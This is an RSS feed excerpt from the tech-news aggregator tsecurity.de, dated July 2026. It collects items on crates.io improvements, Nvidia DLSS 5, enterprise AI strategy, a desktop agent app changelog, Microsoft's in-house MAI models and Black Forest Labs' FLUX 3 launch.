  • Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.

  • Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.

Feedback

We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!

]]> <![CDATA[DLSS 5 (and the Backlash) Explained]]> https://tsecurity.de/de/3693255/videos/dlss-5-and-the-backlash-explained/ https://tsecurity.de/de/3693255/videos/dlss-5-and-the-backlash-explained/ Sat, 25 Jul 2026 08:36:26 +0200 🎥 Videos tsecurity.de Author: Techquickie - Bewertung: 7229x - Views:172802

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DLSS 5 is here, and it's not what you think. Nvidia's calling it the biggest graphics leap since Ray Tracing, but the same audience that defended DLSS for eight years is calling this one AI slop. So what's actually going on?

In this video, we break down what DLSS 5 actually does, how neural rendering works, why Nvidia's CEO and Nvidia's own engineers are describing the tech differently, and whether the backlash from gamers and developers is justified.

Leave a reply with your requests for future episodes.

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Chapters
------------------------
00:0 DLSS backstory
1:20 DLSS 5 explained
2:20 Why gamers are confused
2:40 Sponsor
3:14 DLSS 5 unmasked
4:30 Why gamers are mad
6:00 Watch another video

]]> <![CDATA[NVIDIA's New Free AI - A Gift To Humanity]]> https://tsecurity.de/de/3693254/videos/nvidias-new-free-ai-a-gift-to-humanity/ https://tsecurity.de/de/3693254/videos/nvidias-new-free-ai-a-gift-to-humanity/ Sat, 25 Jul 2026 08:36:25 +0200 🎥 Videos tsecurity.de Author: Two Minute Papers - Bewertung: 2514x - Views:69554

❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers

📝 The Nemotron 3 Ultra paper is available here:
https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/

Free Rendering course and source code:
https://users.cg.tuwien.ac.at/zsolnai/gfx/rendering-course/

🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers possible:
Adam Bridges, Benji Rabhan, B Shang, Cameron Navor, Charles Ian Norman Venn, Christian Ahlin, Eric T, Fred R, Gordon Child, Juan Benet, Michael Tedder, Owen Skarpness, Richard Sundvall, Ryan Stankye, Shawn Becker, Steef, Taras Bobrovytsky, Tazaur Sagenclaw, Tybie Fitzhugh, Ueli Gallizzi

Thumbnail design: https://felicia.hu

#nvidia

]]> <![CDATA[What Hungary’s Anti-Corruption Election Can Teach U.S. Democracy Advocates]]> https://tsecurity.de/de/3691624/it-security-nachrichten/what-hungarys-anti-corruption-election-can-teach-us-democracy-advocates/ https://tsecurity.de/de/3691624/it-security-nachrichten/what-hungarys-anti-corruption-election-can-teach-us-democracy-advocates/ Fri, 24 Jul 2026 15:10:34 +0200 📰 IT Security Nachrichten tsecurity.de Hungary's anti-corruption win offers U.S. democracy advocates lessons, but success requires a credible messenger and a concrete plan.

The post What Hungary’s Anti-Corruption Election Can Teach U.S. Democracy Advocates appeared first on Just Security.

]]> <![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]> https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ Fri, 24 Jul 2026 13:04:13 +0200 📰 IT Nachrichten tsecurity.de

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

  • Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
  • Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
  • C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

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]]> <![CDATA[What football's biggest tournament reveals about winning with AI]]> https://tsecurity.de/de/3691107/it-nachrichten/what-footballs-biggest-tournament-reveals-about-winning-with-ai/ https://tsecurity.de/de/3691107/it-nachrichten/what-footballs-biggest-tournament-reveals-about-winning-with-ai/ Fri, 24 Jul 2026 11:22:41 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Governing Al agents at scale: Lessons from the leaders who’ve done it]]> https://tsecurity.de/de/3690842/it-security-nachrichten/governing-al-agents-at-scale-lessons-from-the-leaders-whove-done-it/ https://tsecurity.de/de/3690842/it-security-nachrichten/governing-al-agents-at-scale-lessons-from-the-leaders-whove-done-it/ Fri, 24 Jul 2026 08:41:03 +0200 📰 IT Security Nachrichten tsecurity.de Enterprise AI leaders from ZoomInfo, Docusign and AppViewX share what it took to build AI Centers of Excellence and govern agent identities inside two companies operating at scale. What you’ll take away: What an AI Center of Excellence looks like…

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]]> <![CDATA[Governing Al agents at scale: Lessons from the leaders who’ve done it]]> https://tsecurity.de/de/3690798/it-security-nachrichten/governing-al-agents-at-scale-lessons-from-the-leaders-whove-done-it/ https://tsecurity.de/de/3690798/it-security-nachrichten/governing-al-agents-at-scale-lessons-from-the-leaders-whove-done-it/ Fri, 24 Jul 2026 08:10:06 +0200 📰 IT Security Nachrichten tsecurity.de Enterprise AI leaders from ZoomInfo, Docusign and AppViewX share what it took to build AI Centers of Excellence and govern agent identities inside two companies operating at scale. What you’ll take away: What an AI Center of Excellence looks like day to day at ZoomInfo and Docusign How to govern agent identities without standing up a parallel identity stack The traps both leaders worked hard to avoid, and what they’d do differently now What Venkat … More →

The post Governing Al agents at scale: Lessons from the leaders who’ve done it appeared first on Help Net Security.

]]> <![CDATA[Desktop v0.0.4]]> https://tsecurity.de/de/3690551/downloads/desktop-v004/ https://tsecurity.de/de/3690551/downloads/desktop-v004/ Fri, 24 Jul 2026 04:02:06 +0200 💾 Downloads tsecurity.de
  • Start chatting without opening a project folder — the app now supports workspace-free chat sessions.
  • New first-run onboarding flow to get you set up on launch.
  • Drag and drop files directly onto the chat to attach them.
  • Image attachments now display inline in the chat transcript.
  • Schedule one-time routines (not just recurring ones), with navigation to jump to a routine's run.
  • New custom overlay title bar with in-app navigation.
  • Redesigned channel setup as expandable cards.
  • Added a setting to replay the new-user experience.
  • Cleaner chat markdown rendering, and external links now open correctly in your browser.
  • Agent sessions now use agentic compaction by default, keeping long conversations within context more intelligently.
  • Fixed the agent not finding gh and other CLI tools by resolving your login shell's PATH.
  • Headless routines now default to YOLO mode so they can run unattended.
  • Fixed request metering for the SAP AI Core provider.

    • Full Changelog: desktop-v0.0.3...desktop-v0.0.4

    ]]>         <![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]> https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ Fri, 24 Jul 2026 02:50:17 +0200 📰 IT Nachrichten tsecurity.de Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.

    The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

    "Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

    How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

    The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

    The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

    MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

    Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

    The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

    Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

    On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

    Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

    Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

    In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

    The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

    Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

    That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

    Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

    Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

    Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

    Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

    “Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

    Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

    The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

    Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

    The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

    But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

    Why Microsoft is turning its internal AI playbook into an Azure product

    The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

    The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

    Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

    ]]>         <![CDATA[When the attacker is an AI agent]]> https://tsecurity.de/de/3690296/it-security-nachrichten/when-the-attacker-is-an-ai-agent/ https://tsecurity.de/de/3690296/it-security-nachrichten/when-the-attacker-is-an-ai-agent/ Thu, 23 Jul 2026 23:58:28 +0200 📰 IT Security Nachrichten tsecurity.de Lessons from the OpenAI-Hugging Face breach

    Categories: Security Operations

    Tags: AI, OpenAI, Hugging Face

    ]]>         <![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]> https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/ Thu, 23 Jul 2026 20:48:22 +0200 📰 IT Nachrichten tsecurity.de Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.

    The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

    That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

    FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

    There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

    What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

    Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

    But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

    Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

    BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

    In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

    One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

    Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

    Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

    Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

    Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

    One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

    Here's a rough guide for enterprises considering which video models to rely upon:

    Model

    Max single-generation duration

    Max resolution

    Key constraints

    Price per 10-second clip (720p)

    Price per 10-second clip (1080p)

    Price per 10-second clip (4K)

    FLUX 3 Video

    20 seconds

    Not stated; evaluations run at 720p

    Early access; no published SLA or pricing

    Not announced

    Not announced

    Not announced

    HappyHorse 1.1

    15 seconds

    1080p

    No 4K; closed weights

    Not published (v1.0 reseller rate is ~$1.82)

    Not published (v1.0 reseller rate is ~$3.12)

    n/a

    Veo 3.1

    Per-second billing

    4K

    Supports clip extension; preview

    $4.00

    $4.00

    $6.00

    Veo 3.1 Fast

    Per-second billing

    4K

    Preview

    $1.00

    $1.20

    $3.00

    Veo 3.1 Lite

    Per-second billing

    1080p

    No 4K, no clip extension; preview

    $0.50

    $0.80

    n/a

    Gemini Omni Flash

    10 seconds (3s minimum)

    720p at 24 FPS

    Preview abd no EU access

    $1.00

    n/a

    n/a

    One architecture for media generation and physical action

    FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

    The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

    "We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

    He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

    BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

    For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

    For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

    What FLUX 3 Video can actually do

    The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

    Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

    The capability list BFL published covers:

    • Text-to-video generation.

    • Image-to-video generation, either animating from a starting frame or using images as visual references.

    • Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.

    • Generative video-audio continuation from existing video and audio input.

    • Keyframe-to-video generation for controlled transitions between defined moments.

    • Multilingual dialogue.

    • A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.

    • Typography generation and animated design.

    • Agentic chaining of individual clips into longer, multi-shot sequences.

    That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

    It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

    BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

    FLUX-mimic tests whether video models can become robot models

    BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

    The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

    FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

    BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

    "The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

    BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

